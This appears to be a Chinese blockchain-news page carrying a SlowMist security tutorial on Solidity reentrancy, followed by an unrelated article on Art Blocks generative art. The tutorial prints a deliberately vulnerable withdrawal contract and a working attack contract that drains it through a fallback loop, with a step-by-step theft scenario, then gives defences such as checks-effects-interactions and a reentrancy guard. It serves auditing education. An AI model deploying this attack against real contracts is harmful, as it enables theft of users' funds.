您的位置: > 欧 易 OKX 区块链新闻> 正文

打印本文             

By:小白@慢雾安全团队

背景概述

看了一个关于学习 solidity 的站(https://solidity-by-example.org),里面讲了关于 solidity 智能合约的很多漏洞,考虑到现在针对智能合约的攻击事件频频发生,不法分子盗取的加密资产越来越多,我就想写一些与智能合约安全审计相关的文章给想了解智能合约安全审计的入门者阅读,让一些对智能合约安全审计感兴趣的初学者可以学到如何识别一些常见的漏洞和如何利用这些漏洞去做什么事情。这次我们就一起先看一个很经典的漏洞 —— 重入漏洞

前置知识

重入漏洞相信大家都有所耳闻了,那么什么是重入漏洞呢?

以太坊智能合约的特点之一是合约之间可以进行相互间的外部调用。同时,以太坊的转账不仅仅局限于外部账户,合约账户同样可以拥有以太并进行转账等操作,且合约在接收以太的时候会触发 fallback 函数执行相应的逻辑,这是一种隐藏的外部调用。

我们先给重入漏洞下个定义:可以认为合约中所有的外部调用都是不安全的,都有可能存在重入漏洞。例如:如果外部调用的目标是一个攻击者可以控制的恶意的合约,那么当被攻击的合约在调用恶意合约的时候攻击者可以执行恶意的逻辑然后再重新进入到被攻击合约的内部,通过这样的方式来发起一笔非预期的外部调用,从而影响被攻击合约正常的执行逻辑。

漏洞示例

好了,看完上面的前置知识我相信大家对重入漏洞都有了一个大致的了解,那么在真实的环境中开发者写出什么样的代码会出现重入漏洞呢,下面我们来看一个比较典型的有重入漏洞的代码:

// SPDX-License-Identifier: MITpragma solidity ^0.8.3;contract EtherStore { mapping(address => uint) public balances; function deposit() public payable { balances[msg.sender] += msg.value; } function withdraw() public { uint bal = balances[msg.sender]; require(bal > 0); (bool sent, ) = msg.sender.call{value: bal}(""); require(sent, "Failed to send Ether"); balances[msg.sender] = 0; } // Helper function to check the balance of this contract function getBalance() public view returns (uint) { return address(this).balance; }}


漏洞分析

看到这里大家可能会有疑惑了,上面的代码就是个普通的充提币的合约,凭什么说他有重入攻击呢?我们来看这个合约的 withdraw 函数,这个函数中的转账操作有一个外部调用(msg.sender.call{value: bal}),所以我们就可以认为这个合约是可能有重入漏洞的,但是具体能否产生危害还需要更深入的分析:

1. 所有的外部调用都是不安全的且合约在接收以太的时候会触发 fallback 函数执行相应的逻辑,这是一种隐藏的外部调用,这种隐藏的外部调用是否会造成危害呢?

2. 我们可以看到在 withdraw 函数中是先执行外部调用进行转账后才将账户余额清零的,那我们可不可以在转账外部调用的时候构造一个恶意的逻辑合约在合约执行 balance[msg.sender]=0 之前一直循环调用 withdraw 函数一直提币从而将合约账户清空呢?

下面我们看看攻击者编写的攻击合约中的攻击手法是否与我们的漏洞分析相同:

攻击合约

contract Attack { EtherStore public etherStore; constructor(address _etherStoreAddress) { etherStore = EtherStore(_etherStoreAddress); } // Fallback is called when EtherStore sends Ether to this contract. fallback() external payable { if (address(etherStore).balance >= 1 ether) { etherStore.withdraw(); } } function attack() external payable { require(msg.value >= 1 ether); etherStore.deposit{value: 1 ether}(); etherStore.withdraw(); } // Helper function to check the balance of this contract function getBalance() public view returns (uint) { return address(this).balance; }}


我们看到 EtherStore 合约是一个充提合约,我们可以在其中充提以太。下面我们将利用攻击合约将 EtherStore 合约中用户的余额清零的:

这里我们将引用三个角色,分别为:

用户:Alice,Bob

攻击者:Eve

1. 部署 EtherStore 合约;

2. 用户 1(Alice)和用户 2(Bob)都分别将 1 个以太币充值到 EtherStore 合约中;

3. 攻击者 Eve 部署 Attack 合约时传入 EtherStore 合约的地址;

4. 攻击者 Eve 调用 Attack.attack 函数,Attack.attack 又调用 EtherStore.deposit 函数,充值 1 个以太币到 EtherStore 合约中,此时 EtherStore 合约中共有 3 个以太,分别为 Alice、Bob 的 2 个以太和攻击者 Eve 刚刚充值进去的 1 个以太。然后 Attack.attack 又调用 EtherStore.withdraw 函数将自己刚刚充值的以太取出,此时 EtherStore 合约中就只剩下 Alice、Bob 的 2 个以太了;

5. 当 Attack.attack 调用 EtherStore.withdraw 提取了先前 Eve 充值的 1 个以太时会触发 Attack.fallback 函数。这时只要 EtherStore 合约中的以太大于或等于 1 Attack.fallback 就会一直调用 EtherStore.withdraw 函数将 EtherStore 合约中的以太提取到 Attack 合约中,直到 EtherStore 合约中的以太小于 1 。这样攻击者 Eve 会得到 EtherStore 合约中剩下的 2 个以太币(Alice、Bob 充值的两枚以太币)。

下面是攻击者的函数调用流程图:

solidity

修复建议

看了上面的攻击手法相信大家对重入漏洞都会有一个自己的认知,但是只会攻击可不行,我们的目的是为了防御,那么作为开发人员如何避免写出漏洞代码还有作为审计人员如何快速发现问题代码呢,下面我们就以这两个身份来分析如何防御重入漏洞和如何在代码中快速找出重入漏洞:

(1)作为开发人员

站在开发者的角度我们需要做的是写好代码,避免重入漏洞的产生。

1. 写代码时需要遵循先判断,后写入变量在进行外部调用的编码规范(Checks-Effects-Interactions);

2. 加入防重入锁。

下面是一个防重入锁的代码示例:

// SPDX-License-Identifier: MITpragma solidity ^0.8.3; contract ReEntrancyGuard { bool internal locked; modifier noReentrant() { require(!locked, "No re-entrancy"); locked = true; _; locked = false; }}


(2)作为审计人员

作为审计人员我们需要关注的是重入漏洞的特征:所有涉及到外部合约调用的代码位置都是不安全的。这样在审计过程中需要重点关注外部调用,然后推演外部调用可能产生的危害,这样就能判断这个地方是否会因为重入点而产生危害。


 Art Blocks:生成艺术的自动售货机

撰文:程天一

来源:海外独角兽

代码和软件已经占据了我们的生活,但是使用代码创作出的生成艺术在过去很多年中始终被低估。2021 年夏天开始的 NFT 和 Art Blocks 热潮改变了这一点。

Art Blocks 由 Erick Calderon 等人于 2020 年创立,是一个生成艺术的自动售货机,用交易时随机产生的哈希值生成最终作品,颠覆式地改变了生成艺术创作者和收藏者之间的关系

Art Blocks 发行的Chromie SquiggleRingersFidenza都在 NFT 世界引发了生成艺术的投资潮。它们完美体现了生成艺术的“可控随机性”,艺术家需要多次调整脚本,保证上千位用户铸造时随机得到的作品都独一无二且具有美感。Art Blocks 在 2021 年累计交易额超过 10 亿美元,通过版税获得了超过 2500 万美元的收入。在 2021 年 8 月,它完成了一轮 600 万美元的融资。TRUE Ventures 领投,Galaxy Digital 旗下的 VC Galaxy Interactive 和 Collab Currency 等机构参与投资。

随着市场注意力转移,Art Blocks 和生成艺术 NFT 停止了暴涨,每月交易额也从 21 年 8 月的 5.87 亿美元峰值回落,在 10 月后持续低于 1 亿美元。但是 Art Blocks 已经是公认的蓝筹 NFT,成为了 NFT 指数基金不可缺少的 Portfolio。Erick Calderon 也并不慌张,公司的现金流足够支撑多年,他正在加快招聘工程师和塑造公司文化

围绕着生成艺术还有其他有趣的话题:投机者开始退潮,持有 Art Blocks 的更多是收藏者,他们的 NFT 展示需求还远未被满足;此外直接使用 AI 创造的生成对抗网络则有着在元宇宙中发挥作用的想象力。

01.生成艺术简史

对生成艺术最简单的定义是“使用随机性和计划性相结合的代码创作出的艺术”。在创作过程中,艺术家的“人脑”去找到审美趣味和灵感,“电脑”则规模化地将灵感变成可视的艺术。

比如下面这段代码,它出自 Art Blocks 首席创意官 Jeff Davis 之手:

在被执行后,它可以生成这些和色彩有关的艺术品,而且理论上可以产出无限幅:

Jeff Davis 2021 年的作品Color Studies

这类艺术重要的审美趣味来源于其独特的“可控随机性” ——艺术家往往无法预料代码生成的结果,同一段代码两次运行可能得到非常不同的作品,但他们可以通过控制随机性的“大小和位置”为自己保有一定的控制权。

150 亿美元手工艺电商 Etsy 的联合创始人 Jared Tarbell 的另一重身份是生成艺术家,他这样描述“可控随机性”这一概念:

如果是正常编写的程序,它每次都以相同方式运行。但是生成艺术家定义了一个不同的系统,让结果能够随机化。作为创作者,你会为自己程序(产出的作品)感到惊讶。

在理念上,生成艺术跟整个 20 世纪的艺术潮流是一脉相承的。“抽象艺术之父”康定斯基强调几何图形和抽象元素的美,生成艺术作品在视觉上追求的很大程度上正是这种美。

康定斯基 1923 年的作品《圆圈中的圆圈》

在 1960 年代,生成艺术创作已经开始涌现。这既是机械社会向信息社会转变下的自然演进,也是因为使用计算机进行创作的确有其先进性 —— 计算机能有效处理创作中复杂度和规模的增加。

策展人、艺术评论家 Jason Bailey 在《为什么热爱生成艺术》中介绍了下面这幅作品。随着行数增多,作品内方格的旋转角度和位置随机性增大。使用纸、笔创作时,艺术家需要 1 个小时画出这幅画。如果想将这些方格的数量增多 10 倍,又需要额外的 10 小时。但是对于生成艺术家而言,他们只需微调下代码,计算机就可以迅速生成结果。

Art Blocks:生成艺术的自动售货机

撰文:程天一来源:海外独角兽代码和软件已经占据了我们的生活,...

关于我们

支持iOS|android|windows等平台

  • 用户支持
  • 帮助中心
  • 服务条款
微信二维码
欧 易 (OKX) 数字货币交易平台 Powered by OKX
QR code